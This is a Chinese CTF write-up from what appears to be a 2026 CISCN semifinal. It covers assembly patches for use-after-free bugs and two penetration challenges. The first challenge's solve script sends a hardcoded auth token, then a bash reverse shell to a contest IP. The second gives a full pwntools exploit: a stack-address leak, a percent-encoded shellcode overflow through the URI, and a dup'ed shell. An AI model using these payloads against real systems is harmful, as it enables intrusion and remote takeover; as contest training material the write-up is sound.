2026ciscn半决赛
赛场时候的做题
2026ciscn半决赛
首先来备用一下
tar -czvf update.tar.gz pwn update.shPWN1:catchme
这个有uaf,我们来改一下
.text:0000000000000E05 mov eax, [rbp+var_14]
.text:0000000000000E08 cdqe
.text:0000000000000E0A lea rdx, ds:0[rax*8]
.text:0000000000000E12 lea rax, heaplist
.text:0000000000000E19 mov rax, [rdx+rax]
.text:0000000000000E1D mov rdi, rax ; pt备注一下信息
202060
mov eax,[rbp+var_14]
mov rdi,[0x202060+rax*8]之后的话我们改成这样的就行,修一下这里uaf
.text:0000000000000E05 loc_E05:
.text:0000000000000E05 mov eax, [rbp+var_14]
.text:0000000000000E08 lea rdx, heaplist
.text:0000000000000E0F mov rdi, [rdx+rax] ; ptr
.text:0000000000000E13 push rdi
.text:0000000000000E14 call _free
.text:0000000000000E19 pop rdi
.text:0000000000000E1A mov rdi, r9pwn2:broken_manager
这里没有清零是清零的size,没有清楚存储heap指针的部分
把清楚的heaplist替换heapsize清零即可
mov eax, [rbp+index]
cdqe
lea rdx, ds:0[rax*8]
lea rax, heaplist
mov rdx, [rdx+rax]
mov rax, [rbp+var_18]
mov rsi, rdx
mov rdi, rax
call sub_177F
mov eax, [rbp+index]
cdqe
lea rdx, ds:0[rax*4]
lea rax, heaplist
mov dword ptr [rdx+rax], 0
jmp short loc_1CE1渗透
渗透一
逻辑部分,定位字符串,找到认证函数,一开始的复杂的部分没看懂,然后逆了半天,发现重要就那几行,是一个很基础的字符串的匹配。最后执行指令即可
Agent *__fastcall Agent::receiveCommand(Agent *this, int *a2)
{
std::runtime_error *exception; // rbx
std::runtime_error *v3; // rbx
std::runtime_error *v4; // rbx
_BYTE buf[4096]; // [rsp+10h] [rbp-1050h] BYREF
_QWORD v7[2]; // [rsp+1010h] [rbp-50h] BYREF
_BYTE v8[14]; // [rsp+1020h] [rbp-40h] BYREF
char v9; // [rsp+102Eh] [rbp-32h] BYREF
char v10; // [rsp+102Fh] [rbp-31h] BYREF
_BYTE v11[15]; // [rsp+1030h] [rbp-30h] BYREF
char v12; // [rsp+103Fh] [rbp-21h] BYREF
_BYTE v13[11]; // [rsp+1040h] [rbp-20h] BYREF
char v14; // [rsp+104Bh] [rbp-15h] BYREF
int v15; // [rsp+104Ch] [rbp-14h]
std::string::string(this);
v15 = recv(*a2, buf, 0xFFFu, 0);
if ( v15 <= 0 )
{
exception = (std::runtime_error *)__cxa_allocate_exception(0x10u);
std::allocator<char>::allocator(&v9);
std::string::string(v8, "Failed to receive auth token", &v9);
std::runtime_error::runtime_error(exception, (const std::string *)v8);
std::string::~string((std::string *)v8);
std::allocator<char>::~allocator(&v9);
__cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}
buf[v15] = 0;
std::allocator<char>::allocator(&v10);
std::string::string(v7, buf, &v10);
std::allocator<char>::~allocator(&v10);
if ( (unsigned __int8)std::operator!=<char>(v7, "RCE_AUTH_2026") )
{
v3 = (std::runtime_error *)__cxa_allocate_exception(0x10u);
std::allocator<char>::allocator(&v12);
std::string::string(v11, "Invalid auth token", &v12);
std::runtime_error::runtime_error(v3, (const std::string *)v11);
std::string::~string((std::string *)v11);
std::allocator<char>::~allocator(&v12);
__cxa_throw(v3, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}
while ( 1 )
{
v15 = recv(*a2, buf, 0xFFFu, 0);
if ( v15 <= 0 )
break;
buf[v15] = 0;
std::string::operator+=(this, buf);
}
if ( v15 < 0 )
{
v4 = (std::runtime_error *)__cxa_allocate_exception(0x10u);
std::allocator<char>::allocator(&v14);
std::string::string(v13, "Failed to receive command", &v14);
std::runtime_error::runtime_error(v4, (const std::string *)v13);
std::string::~string((std::string *)v13);
std::allocator<char>::~allocator(&v14);
__cxa_throw(v4, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}
std::string::~string((std::string *)v7);
return this;
}解题脚本,反弹shell就行
from pwn import*
io=remote('10.11.149.53',12345)
pd = b'RCE_AUTH_2026'
io.send(pd.ljust(0xfff,b"\x00"))
io.sendline(b'bash -i >& /dev/tcp/10.11.117.37/2333 0>&1')
##io.interactive()渗透二(当时远程没有打通)
这个题目给了一个server 附件,基本上是什么保护都没有开启
这个是定义 的简单的交互函数
def create_post_request_raw(path, data_bytes, host="10.11.149.51", port=8000,padding=None):
"""
构造包含原始字节串的HTTP POST请求
"""
data_len = len(data_bytes)
header = f"POST {path} HTTP/1.1\r\n"
header += f"Host: {host}:{port}\r\n"
header += f"User-Agent: Custom Client {padding}\r\n" #距离0x200
header += f"Accept: */*\r\n"
header += f"Content-Type: application/\r\n" #距离0x180
header += f"Content-Length: {data_len}\r\n"
header += "\r\n"
# 返回头部字符串 + 原始字节数据
return header.encode() + data_bytes
def create_get_request_raw(path="./public", host="10.11.149.51", port=8000):
header = f"GET {path} HTTP/1.1\r\n"
header += f"Host: {host}:{port}\r\n"
header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\r\n"
header += "Accept: */*\r\n"
header += "\r\n"
return header.encode()我们 发送get请求之后就能给我们返回stack地址
def pwn1():
pd = create_get_request_raw("./public", host="127.0.0.1", port=8000)
p_local.send(pd)
pwn1()
io.recvuntil(b"Accept: */*\n")
stack = int(io.recvline().strip(), 16)
print(hex(stack))主要是利用的这个部分,利用%p打印出来栈地址
else if ( !strcmp(uri, uri) && !strcmp("GET", method) )
{
fprintf(stderr, "%p\n", file_name);
sprintf(file_name, "%s%s", "./public", uri);
if ( file_exists(file_name) )
{
printf("%s 200 OK\n\n", "HTTP/1.1");
read_file(file_name);
}
else
{
printf("%s 404 Not found\n\n", "HTTP/1.1");
sprintf(file_name, "%s%s", "./public", "/404.html");
if ( file_exists(file_name) )
read_file(file_name);
}
}在之后的话就是找栈溢出的点
当时我们在比赛的时候没有往URL的方面上想,现在才知道溢出点是url这个全局变量
这里有个这个函数加密
uri_unescape(uri);URL编码
这里的我们shellcode的话需要绕过一下
• void __cdecl uri_unescape(char *uri)
{
char n9; // 高 4 位十六进制字符的补偿值,数字为 0,字母为 9
char n9_1; // 低 4 位十六进制字符的补偿值,数字为 0,字母为 9
char *v3; // 临时保存 dst 原位置,用来写回解码后的字符
char *dst; // 解码后的写指针,原地覆盖写回 uri
char *srca; // 指向 '%' 后第一个十六进制字符
char chr; // 当前要写入的解码结果字符
char chra; // 当前字节的高 4 位部分
while ( *uri && ((*__ctype_b_loc())[*uri] & ' \0') == 0 && *uri != 37 ) // 跳过前面普通字符,直到遇到空白、'%' 或字符串结尾
++uri; // 读指针前进
dst = uri; // 从第一个需要解码/压缩的位置开始原地写回
while ( *uri && ((*__ctype_b_loc())[*uri] & ' \0') == 0 ) // 继续处理直到遇到空白或字符串结尾
{
if ( *uri == '+' ) // '+' 在 URL 编码里表示空格
{
chr = ' '; // 解码成空格
}
else if ( *uri == '%' && uri[1] && uri[2] ) // 如果是 '%xx' 形式,并且后面还有两个字符
{
srca = uri + 1; // 指向第一个十六进制字符
if ( *srca <= '9' ) // 如果高 4 位是数字
n9 = 0; // 不需要额外补偿
else
n9 = 9; // 如果是字母 a-f/A-F,需要补偿到 10-15
chra = 16 * ((*srca & 0xF) + n9); // 计算高 4 位,左移一位十六进制位
uri = srca + 1; // 移到第二个十六进制字符
if ( *uri <= '9' ) // 如果低 4 位是数字
n9_1 = 0; // 不需要额外补偿
else
n9_1 = 9; // 如果是字母 a-f/A-F,需要补偿到 10-15
chr = n9_1 + (*uri & 0xF) + chra; // 计算完整字节 = 高 4 位 + 低 4 位
}
else
{
chr = *uri; // 普通字符原样保留
}
v3 = dst++; // 保存当前写位置,并把写指针后移
*v3 = chr; // 把解码后的字符写回原字符串
++uri; // 读指针继续前进
}
*dst = 0; // 在解码后的末尾补 '\0',截断旧内容
}对应的解码如下
def pct(x):
s = "" # 最终结果字符串
for i in x: # 逐个取出字节
one = "%02x" % i # 把字节转成两位十六进制,比如 0x6a -> "6a"
s += "%" # 先加一个 %
s += one # 再加十六进制数字
return s # 例如返回 "%6a%01%5f"之后我们打一下shellcode溢出即可,这里需要dup一下转化一下文件描述
因为有这个
dup2(clientfd, 1);
close(clientfd);这里我们需要提起那复制一下,恢复一下啊标准输入和标准错误,这样shell可以读到 我们远程发送过去的命令

最终exp如下
from pwn import *
io = process("./server")
context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-l 100"]
def create_get_request_raw(path="./public", host="10.11.149.51", port=8000):
header = f"GET {path} HTTP/1.1\r\n"
header += f"Host: {host}:{port}\r\n"
header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\r\n"
header += "Accept: */*\r\n"
header += "\r\n"
return header.encode()
def pct(x):
s = "" # 最终结果字符串
for i in x: # 逐个取出字节
one = "%02x" % i # 把字节转成两位十六进制,比如 0x6a -> "6a"
s += "%" # 先加一个 %
s += one # 再加十六进制数字
return s # 例如返回 "%6a%01%5f"
p_local = remote("127.0.0.1", 8000)
def pwn1():
pd = create_get_request_raw("./public", host="127.0.0.1", port=8000)
p_local.send(pd)
pwn1()
io.recvuntil(b"Accept: */*\n")
stack = int(io.recvline().strip(), 16)
print(hex(stack))
def pwn2():
sc = asm(shellcraft.amd64.linux.dupsh(1))
off = 0x20
body = b"a" * off + sc
body = body.ljust(0x120, b"b") + p64(stack + 8 + off)[:6]
uri = pct(body)
pd = create_get_request_raw(uri, host="127.0.0.1", port=8000)
q = remote("127.0.0.1", 8000)
gdb.attach(q,"b *$rebase(0x1A8B)")
q.send(pd)
q.recv(timeout=1)
return q
p_local.close()
p_local = pwn2()
p_local.interactive()